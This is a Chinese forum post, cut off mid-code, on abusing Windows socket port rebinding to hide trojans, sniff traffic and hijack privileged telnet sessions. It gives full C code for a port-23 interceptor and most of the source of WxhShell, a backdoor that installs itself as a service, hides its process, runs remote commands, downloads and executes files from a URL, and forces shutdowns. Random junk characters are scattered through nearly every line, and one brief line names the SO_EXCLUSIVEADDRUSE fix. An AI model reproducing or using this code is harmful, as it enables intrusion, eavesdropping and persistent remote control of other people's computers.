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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Nl/ fvJ`4  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?L H[,8z  
cfRUVe  
  saddr.sin_family = AF_INET; ^:mKTiA-  
%M/L/_d  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); <|]i3_Z  
U2tgBF?)A  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); r`.Bj0  
j]` hy"  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ~D`R"vzw=  
uFhPNR2l  
  这意味着什么?意味着可以进行如下的攻击: jTZi< Y:bB  
9j5|o([J  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 GoH.0eQ^  
dm40qj  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) [O|c3;  
fe"w--v  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 !0UfX{.  
UH;bg}=8  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  =<)/lz] H  
v6 |[p  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 <P&X0S`O  
RlU?F  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 xj&~>&U){;  
i,% N#  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 wZbT*rU  
^k{/Yl  
  #include +lZ-xU1  
  #include p_e x  
  #include e%4vvPp  
  #include    heB![N0:  
  DWORD WINAPI ClientThread(LPVOID lpParam);   w(X}  
  int main() "*V'   
  { _3O*"S=1  
  WORD wVersionRequested; [D(JEO@ :  
  DWORD ret; 2 n2,MB  
  WSADATA wsaData; k6Vs#K7a  
  BOOL val; yd'cLZd<}  
  SOCKADDR_IN saddr; Zm|il9y4m  
  SOCKADDR_IN scaddr; K`ygW|?gt  
  int err; VkJTcC:1  
  SOCKET s; 45iO2W uur  
  SOCKET sc; $P#+Y,r~\  
  int caddsize; ]W%rhppC  
  HANDLE mt; Z=%u:K}[  
  DWORD tid;   D&@ js!|5  
  wVersionRequested = MAKEWORD( 2, 2 ); uC#] F@  
  err = WSAStartup( wVersionRequested, &wsaData ); TaKHr$h  
  if ( err != 0 ) { fIatp  
  printf("error!WSAStartup failed!\n"); + iQ~ Y2Gh  
  return -1; ;j(*:Nt1  
  } )cZ KB0*+  
  saddr.sin_family = AF_INET; 9ao?\]&t  
   A)d0Z6G`  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 glKPjL*  
}g%&}`%'  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 8^^ehaxy  
  saddr.sin_port = htons(23); P9Eh, j0_  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3+:NX6Ewb*  
  { RC8-6s& ln  
  printf("error!socket failed!\n"); sk~7"v{Y.  
  return -1; -XkjO$=!=  
  } = 1d$x:  
  val = TRUE; Et}%sdS  
  //SO_REUSEADDR选项就是可以实现端口重绑定的  #.Ly  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 4"{g{8  
  { >qGWDCKr  
  printf("error!setsockopt failed!\n"); 20`XklV  
  return -1; L]BTX]  
  } 73tjDO7d  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; d)XT> &  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 r8FAV9A  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 >Yv#t.!  
Qt^6w}&  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) e U-A_5  
  { FgPmQ  
  ret=GetLastError(); zx"0^r}  
  printf("error!bind failed!\n"); |BGzdBm^x:  
  return -1; |Q?$n3-f"  
  } 5`K'2  
  listen(s,2); 9{A*[.XK]  
  while(1) 09G]t1!,  
  {  TLVfu4  
  caddsize = sizeof(scaddr); b Hy<`p0  
  //接受连接请求 [ei5QSL |  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); I9U 8@e!X  
  if(sc!=INVALID_SOCKET) B8up v~U 6  
  { ?q5HAIZ`  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); JKCV >k  
  if(mt==NULL) OU mZ|  
  { Th~pju  
  printf("Thread Creat Failed!\n"); pMp@W`i^6  
  break; Tm~jYgJ  
  } *t={9h  
  } >Wpdq(o  
  CloseHandle(mt); X&K,,C  
  } +ZBj_Vw*|  
  closesocket(s); R~N%sn  
  WSACleanup(); qrt2uE{K  
  return 0; 5pRVA  
  }   ;hFB]/.v  
  DWORD WINAPI ClientThread(LPVOID lpParam) ~$Z_#,|i?  
  { o i~,}E_  
  SOCKET ss = (SOCKET)lpParam; _tO2PI L@Z  
  SOCKET sc; r&L1jT.  
  unsigned char buf[4096]; Vr&v:8:wb  
  SOCKADDR_IN saddr; z:{R4#(Q  
  long num; :+ "JPF4X  
  DWORD val; A+3=OBpkW0  
  DWORD ret; rj5)b:c}  
  //如果是隐藏端口应用的话,可以在此处加一些判断 h 'is#X 6:  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ^AUQsRA7PZ  
  saddr.sin_family = AF_INET; FOcDBCrOe  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ab6D&  
  saddr.sin_port = htons(23); >v%UV:7ap  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ];0:aSi#  
  { )IE) a[wo  
  printf("error!socket failed!\n"); *I9G"R8  
  return -1; VC!g,LU|-  
  } er!+QD,EM  
  val = 100; 7G_lGV_  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Aca ?C  
  { |C t Q  
  ret = GetLastError(); <R#:K7> O  
  return -1; wKz*)C  
  } $5>x)jr:w+  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,z0E2  
  { +6Vu]96=KC  
  ret = GetLastError(); F0Z cV>j}  
  return -1; mOYXd,xd  
  } a6o p  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) WxF@'kdn*,  
  { e}L(tXZ  
  printf("error!socket connect failed!\n"); ;[Hrpl S  
  closesocket(sc); )#Y:Bj7H@2  
  closesocket(ss); P~"""3de4  
  return -1; Fd9Z7C  
  } 7|?Ht]  
  while(1) jH4Wu`r;m  
  { 9p"';*{=  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 K%vGfQ8Er-  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Lismo#  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 a.AEF P4N  
  num = recv(ss,buf,4096,0); i"hn%u$V  
  if(num>0) P`M1sON~  
  send(sc,buf,num,0); Y+~>9-S  
  else if(num==0) 2f-Or/v  
  break; #kQLHi3##  
  num = recv(sc,buf,4096,0); z.kBQ{P  
  if(num>0) 2wgdrO|B  
  send(ss,buf,num,0); {|@N~c+  
  else if(num==0) Wy$Q!R=i  
  break; \G1(r=fU  
  } 2?owXcbx  
  closesocket(ss); oga0h'  
  closesocket(sc); 5wMEp" YHE  
  return 0 ; faI4`.i  
  } w~*"mZaG  
H0mDs7  
_n< @Jk~  
========================================================== 9}Zi_xK&|e  
E}=F   
下边附上一个代码,,WXhSHELL ~3m} EL  
'MIM_m)H  
========================================================== z[_Gg8e  
O<w7PS  
#include "stdafx.h" pJwy ~ L  
GP}+c8|2  
#include <stdio.h> *|:]("i  
#include <string.h> ia /_61%  
#include <windows.h> {{_,YO^w  
#include <winsock2.h> 4:v{\R  
#include <winsvc.h> h'G8@j;  
#include <urlmon.h> & |o V\L  
-3:x(^|:K  
#pragma comment (lib, "Ws2_32.lib") YcBAW4B`  
#pragma comment (lib, "urlmon.lib") fBt7#Tc=U  
j-etEWOTr  
#define MAX_USER   100 // 最大客户端连接数 T k4"qGC.  
#define BUF_SOCK   200 // sock buffer [p_C?hHO  
#define KEY_BUFF   255 // 输入 buffer 5($ '@u  
N DV_/BI  
#define REBOOT     0   // 重启 S>p>$m, Q  
#define SHUTDOWN   1   // 关机 -^7n+ QX  
uc;QSVWGy8  
#define DEF_PORT   5000 // 监听端口 doaqHri\,  
tt>=Vt '  
#define REG_LEN     16   // 注册表键长度 meV RdQ  
#define SVC_LEN     80   // NT服务名长度 _26F[R1><~  
ktKT=(F&  
// 从dll定义API hC =="4 -  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); qT L@N9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); GQ9g$&T  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); D<cHa |  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); V]9 ?9-r  
3bPvL/\Lb  
// wxhshell配置信息 ~UJ_Rr54  
struct WSCFG { KcjP39@I  
  int ws_port;         // 监听端口 \6${Na' \  
  char ws_passstr[REG_LEN]; // 口令 !xK`:[B  
  int ws_autoins;       // 安装标记, 1=yes 0=no n _*k e  
  char ws_regname[REG_LEN]; // 注册表键名 z '%Vy  
  char ws_svcname[REG_LEN]; // 服务名 1 {V*(=Tp  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?wx|n_3<:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }mC-SC)oSi  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 C,D~2G  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Z5o6RTi  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #yVY! +A  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Oj0/[(D-  
`W8dayZt  
}; qcfLA~y  
_ #+~#U%5n  
// default Wxhshell configuration up7]Yy;o=  
struct WSCFG wscfg={DEF_PORT, L1k_AC1.M  
    "xuhuanlingzhe", <&rvv4*H  
    1, YvK8;<k@-?  
    "Wxhshell", ?79ABm a  
    "Wxhshell", )y:~T\g  
            "WxhShell Service", VscEdtkd  
    "Wrsky Windows CmdShell Service", uIvE~<  
    "Please Input Your Password: ", fz8eL:i:  
  1, cf0D q~G  
  "http://www.wrsky.com/wxhshell.exe", HIi 5kv]}|  
  "Wxhshell.exe" Xu:S h<:R  
    }; MLcc   
3l 0>  
// 消息定义模块 m>6,{g)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; pemb2HQ'4j  
char *msg_ws_prompt="\n\r? for help\n\r#>"; S0Y$$r  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; u#Qd `@p  
char *msg_ws_ext="\n\rExit."; BS;_l"?  
char *msg_ws_end="\n\rQuit."; b#^UP  
char *msg_ws_boot="\n\rReboot..."; pRj1b^F5y  
char *msg_ws_poff="\n\rShutdown..."; D[)g-_3f6<  
char *msg_ws_down="\n\rSave to "; Dw^d!%Ala  
*eytr#0B-  
char *msg_ws_err="\n\rErr!"; [x 5T7=  
char *msg_ws_ok="\n\rOK!"; x,z+l-y  
NQ!jkojD  
char ExeFile[MAX_PATH]; q8.K-"f(Q  
int nUser = 0; D EL#MD!  
HANDLE handles[MAX_USER]; *#,wV  
int OsIsNt; Jx@3zl  
Nq)=E[$  
SERVICE_STATUS       serviceStatus; n ||/3-HDj  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; FHI` /  
RI"A'/56  
// 函数声明 g#1_`gK  
int Install(void); Jn. WbS  
int Uninstall(void); g~Zel}h#  
int DownloadFile(char *sURL, SOCKET wsh); %@5f+5{i!z  
int Boot(int flag); Qe=!'u.nL  
void HideProc(void); Z!m0nx  
int GetOsVer(void); [= -?n6  
int Wxhshell(SOCKET wsl); ,.uPlnB_  
void TalkWithClient(void *cs); CC>]Gc7  
int CmdShell(SOCKET sock); M yr [  
int StartFromService(void); 5 d S5,  
int StartWxhshell(LPSTR lpCmdLine); jyf[O -  
Qd 1Q~PBla  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]dc^@}1bN  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &V[m{.  
q7C>A`w  
// 数据结构和表定义 ~w'M8(  
SERVICE_TABLE_ENTRY DispatchTable[] = t+5JIQY>  
{ x(7K=K']  
{wscfg.ws_svcname, NTServiceMain}, <5A(rDij  
{NULL, NULL} B8:_yAv o  
}; &'UY V>  
aO?(ZL  
// 自我安装 /v E>*x  
int Install(void) VAF+\Cea=  
{ ~&=-*  
  char svExeFile[MAX_PATH]; }N1Z7G  
  HKEY key; T2 0dZ8{y  
  strcpy(svExeFile,ExeFile); ]C-hl}iq  
*?K3jy{  
// 如果是win9x系统,修改注册表设为自启动 hp!UW  
if(!OsIsNt) { `ej  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { # &o3[.)9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q uy5H  
  RegCloseKey(key); |Z<NM#1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `(?E-~#'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qIa|sV\w0  
  RegCloseKey(key); H~1*`m  
  return 0; -#H>kbs  
    } Bhl@\Kq  
  } Ft>Abj,6  
} JGp~A#H&  
else { &+=A;Y)  
EUU9JnQhBJ  
// 如果是NT以上系统,安装为系统服务 Hm4:m$=p4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'Uew(o  
if (schSCManager!=0) (CS"s+y1  
{ &""~Pn8  
  SC_HANDLE schService = CreateService _K>cB<+d  
  ( K>9]I97g'  
  schSCManager,  cpp0Y^  
  wscfg.ws_svcname, xCD|UC46?X  
  wscfg.ws_svcdisp, DF/p{s1Y3  
  SERVICE_ALL_ACCESS, l. ?R7f  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , J_OIU#-B  
  SERVICE_AUTO_START, el39HB$  
  SERVICE_ERROR_NORMAL, DHJh.Y@H  
  svExeFile, iTi<X|X  
  NULL, IM}T2\tZ}  
  NULL, {=j!2v#8~  
  NULL, .0S.7w3dZo  
  NULL, b40zYH`'{  
  NULL Uwr inkoeE  
  ); I|,^a|\  
  if (schService!=0) B5aFt ;Vj  
  { 8'_>A5L/C  
  CloseServiceHandle(schService); >Qz#;HI  
  CloseServiceHandle(schSCManager); $ckX H,l_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1g5%Gr/0$5  
  strcat(svExeFile,wscfg.ws_svcname); 'H <?K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { z,[4 BM  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 900#K   
  RegCloseKey(key); P*XLm  
  return 0; K_',Gd4L  
    } s={AdQ  
  } $%"i|KTsv:  
  CloseServiceHandle(schSCManager); 1 e1$x@\\  
}  qm&}^S  
} qi_[@da f?  
{BKu'A  
return 1; 33DP0OBL^  
} ZFNM>C^  
2j` x^  
// 自我卸载 DTk)Y-eQ  
int Uninstall(void) \T'uFy9&a  
{ 11}X2j~Ww  
  HKEY key; h}i /u  
Pfu2=2Ra  
if(!OsIsNt) { MQY^#N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L"A,7@:Vd  
  RegDeleteValue(key,wscfg.ws_regname); g8 ,V( ^  
  RegCloseKey(key); ',?v7&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kXA o+l  
  RegDeleteValue(key,wscfg.ws_regname); aErms-~  
  RegCloseKey(key); \,i9m9;y  
  return 0; aG}ju;  
  } 3:X3n\z  
} m+||t  
} >xws  
else { R:P'QM   
-$J\BkI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #"fBF/Q  
if (schSCManager!=0) /Y:&307q  
{ RrRrB"!8nR  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); N_lQz(nG/2  
  if (schService!=0) la>:%SD  
  { ;BUJ5  
  if(DeleteService(schService)!=0) { }20 Q`?  
  CloseServiceHandle(schService); I4:4)V?  
  CloseServiceHandle(schSCManager); kB {  
  return 0; o8.KakrPP  
  } P7O$*  
  CloseServiceHandle(schService); )1wC].RFYm  
  } ?*|AcMw5  
  CloseServiceHandle(schSCManager); im|( 4 f  
} #\[h.4i  
} a,tzt ]>  
lfp[(Ph)9  
return 1; MWl?pG!Y  
} [ X]yj  
IL`X}=L_  
// 从指定url下载文件 G?CaCleG  
int DownloadFile(char *sURL, SOCKET wsh) :0x,%V74_!  
{ A94ZG:   
  HRESULT hr; '=K [3%U  
char seps[]= "/"; A!\ouKyayS  
char *token; Ppi/`X  
char *file; 1Y4=D  
char myURL[MAX_PATH]; qPGpN0M`  
char myFILE[MAX_PATH]; >UvLeS2h:y  
$$ouqLu  
strcpy(myURL,sURL); X ptb4]  
  token=strtok(myURL,seps); 9J h"1i>x2  
  while(token!=NULL) jh0``{  
  { l{ja2brX  
    file=token; JpqZVu"7  
  token=strtok(NULL,seps); |VxEW U/  
  } VI7f}  
)Kkw$aQI"d  
GetCurrentDirectory(MAX_PATH,myFILE); Z&9MtpC+N3  
strcat(myFILE, "\\"); G66sP w  
strcat(myFILE, file); "S)2<tV  
  send(wsh,myFILE,strlen(myFILE),0); <qjNX-|  
send(wsh,"...",3,0); @q:v?AO  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?=,4{(/)  
  if(hr==S_OK) I.BsKB  
return 0; {\z&`yD@  
else |C}n]{*|  
return 1; &HBqweI  
i3#To}g5V  
} idW=  
b5K6F:D22  
// 系统电源模块 !=%0  
int Boot(int flag) )rcFBD{vM  
{ \Jm fQrBQ  
  HANDLE hToken; X^;[X~g  
  TOKEN_PRIVILEGES tkp; %;ZWYj`]n  
};;\&#  
  if(OsIsNt) { Cq\1t  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +Tz Z   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); hbl%<ItI49  
    tkp.PrivilegeCount = 1; (1pI#H"f9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /Iht,@%E  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0qP&hybL[(  
if(flag==REBOOT) { OiBDI3,|+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) o zg%-  
  return 0; ZslH2#   
} W,<L/ZKJ  
else { {6H%4n  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) GP=i6I6C  
  return 0; |m{Q_zAB  
} 8 Z|c!QIU  
  } 4#hDt^N~  
  else { _ nFsC  
if(flag==REBOOT) { \i1>/`F  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) lS1-e0,h1  
  return 0; $7M/rF;N5X  
} ~DY5`jV  
else { d'j8P  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @;>i3?  
  return 0; OS|uZ<"Rq3  
} ybnq;0}$  
} 5A|4  
vwy10PlqL  
return 1; UrAg*v!Qy  
} V.<$c1#=$  
>JdA,i}1  
// win9x进程隐藏模块 >6 p <n  
void HideProc(void) ~9#x/EG/  
{ 2K >tI9);  
F:$Dz?F0v  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); jvfVB'Tmr  
  if ( hKernel != NULL ) ?}f+PP,  
  { F.;G6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); C\.mv|aW~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); nT7{`aaQl  
    FreeLibrary(hKernel); [HEqMBX=;  
  } VjZ_L_U}  
/rMxl(wD'  
return; |GmV1hN  
} si`{>e~`6P  
@q=l H *=  
// 获取操作系统版本 WY=RJe2  
int GetOsVer(void) _PTo !aJL  
{ t:A,pT3  
  OSVERSIONINFO winfo; 00DWXGt20o  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $#Mew:J  
  GetVersionEx(&winfo); 1-z*'Ghys  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) xL.T}f~y2>  
  return 1; {sn:Lj0  
  else Znl&.,c)  
  return 0; X`,4pSQ;  
} 1\v$8pP+  
Y>OL2g  
// 客户端句柄模块 6 yIl)5/=  
int Wxhshell(SOCKET wsl) WW.\5kBl8  
{ $`nKq4Y   
  SOCKET wsh; T9 @^@l$  
  struct sockaddr_in client; >)Ih[0~M  
  DWORD myID; ONx|c'0g  
,!`94{Ggv  
  while(nUser<MAX_USER) ]U :1N C"  
{ ~&E|;\G  
  int nSize=sizeof(client); "|1MJuY_6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6k#H>zY,  
  if(wsh==INVALID_SOCKET) return 1; Ef fp^7 3  
F~Kd5-I@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); mtfyhFk  
if(handles[nUser]==0) *q5'~)W<  
  closesocket(wsh); ]mU,y$IQ  
else 0 O{Y Vk`  
  nUser++; !;Mh5*-  
  } ETu7G5?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !U02>X   
 KR  
  return 0; cQ4TYr;?  
} )G(6=l*  
^V^In-[!y:  
// 关闭 socket =hV-E D  
void CloseIt(SOCKET wsh) V/j]UK0$  
{ a S- rng  
closesocket(wsh); dEXHd@"H  
nUser--; Pn{yk`6E  
ExitThread(0); -KRHcr \  
} @5gZK[?|I  
r#{r]q_E*  
// 客户端请求句柄 tVx.J'"Y  
void TalkWithClient(void *cs) T7;)HFGeW  
{  m8rz i:  
7R\!'`]\M  
  SOCKET wsh=(SOCKET)cs; uo1G   
  char pwd[SVC_LEN]; Z2chv,SqCJ  
  char cmd[KEY_BUFF]; FswMEf-|  
char chr[1]; =goZI67  
int i,j; 2|k*rv}l  
h.)2,  
  while (nUser < MAX_USER) { :oB4\/(G#  
,5\:\e0H  
if(wscfg.ws_passstr) { V:42\b7x  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $XS0:C0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @4:cn  
  //ZeroMemory(pwd,KEY_BUFF); lwH&4K  
      i=0; Q^Ln`zMe  
  while(i<SVC_LEN) { QN(f8t(  
&%pB; dk  
  // 设置超时 #( nheL  
  fd_set FdRead; X$JO<@x  
  struct timeval TimeOut; d9/E^)TT  
  FD_ZERO(&FdRead);  w'=#7$N  
  FD_SET(wsh,&FdRead); *D1fSu!  
  TimeOut.tv_sec=8; z(< E %  
  TimeOut.tv_usec=0; f{e*R#+&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7YbI|~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~H0~5v F  
< /y V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D<7S P,D  
  pwd=chr[0];  OU=9fw  
  if(chr[0]==0xd || chr[0]==0xa) { $52Te3n  
  pwd=0; RCt)qh+  
  break; C!w@Naj  
  } T4 SByX9  
  i++; "xdJ9Z-B  
    } ^&uWAQohL  
3w )S=4lB  
  // 如果是非法用户,关闭 socket m@JU).NKCS  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); KGUpXMd^Z  
} v>3ctP {  
rOY^w9!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <YL\E v/[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kyJv,!};  
wrG*1+r  
while(1) { 7kn=j6I  
{CH\TmSz  
  ZeroMemory(cmd,KEY_BUFF); kt1f2cj  
whKr3)  
      // 自动支持客户端 telnet标准   P7\(D`  
  j=0; kSNVI-Wzu  
  while(j<KEY_BUFF) { se_zCS4Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^F?H)[0  
  cmd[j]=chr[0]; $!I$*R&  
  if(chr[0]==0xa || chr[0]==0xd) { iy tSC  
  cmd[j]=0; MbnV5b:X  
  break; B^Ql[m&5+  
  } 62EJ# q[  
  j++; [ur/`   
    } mC~W/KReA  
B4R,[WE"  
  // 下载文件 `@.YyPxX\  
  if(strstr(cmd,"http://")) { svpWABO  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); e;3$7$n Pv  
  if(DownloadFile(cmd,wsh)) Lu:!vTRmw  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); q\#3G  
  else @7lZ{jV$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 54F([w  
  } 8zj09T[  
  else { l^`!:BOtR  
Wr)% C  
    switch(cmd[0]) { >mF`XbS  
  8KWT d  
  // 帮助 `?JrC3  
  case '?': { C,PCU<q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Rl5}W\&  
    break; N#.IpY'7Ze  
  } `ss]\46>  
  // 安装  NkO$ M  
  case 'i': { (f#W:]o/  
    if(Install()) <i`EP/x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c<&+[{|  
    else !.t'3~dUf$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !hH6!G  
    break; >Dtw^1i  
    } 0^(.(:  
  // 卸载 U}A+jJ  
  case 'r': { r~s03g0  
    if(Uninstall()) l"*>>/U k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TaolX*$5  
    else _ux 6SIyp`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  j Mp{  
    break; R:.7 c(s  
    } ^\+6*YE 4  
  // 显示 wxhshell 所在路径 I:6xDDpZG`  
  case 'p': { KktTR`W  
    char svExeFile[MAX_PATH]; [ z$J  
    strcpy(svExeFile,"\n\r"); La9@h"  
      strcat(svExeFile,ExeFile); 3al5Vu2:  
        send(wsh,svExeFile,strlen(svExeFile),0); j|aT`UH03  
    break; E"G. _<3J8  
    } ?tA- `\E  
  // 重启 G~esSL^G/  
  case 'b': { J"83S*2(j  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <K\F/`c  
    if(Boot(REBOOT)) +V'r >C:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); },Z -w_H  
    else { BK /;H G  
    closesocket(wsh); df J7Dhn  
    ExitThread(0); Ej34^*m9k  
    } a|s=d  
    break; [\.>BK  
    } gdG: &{|x  
  // 关机 ONfJ"Rp3  
  case 'd': { +$ -#V   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^cAJCbp7  
    if(Boot(SHUTDOWN)) "   c  
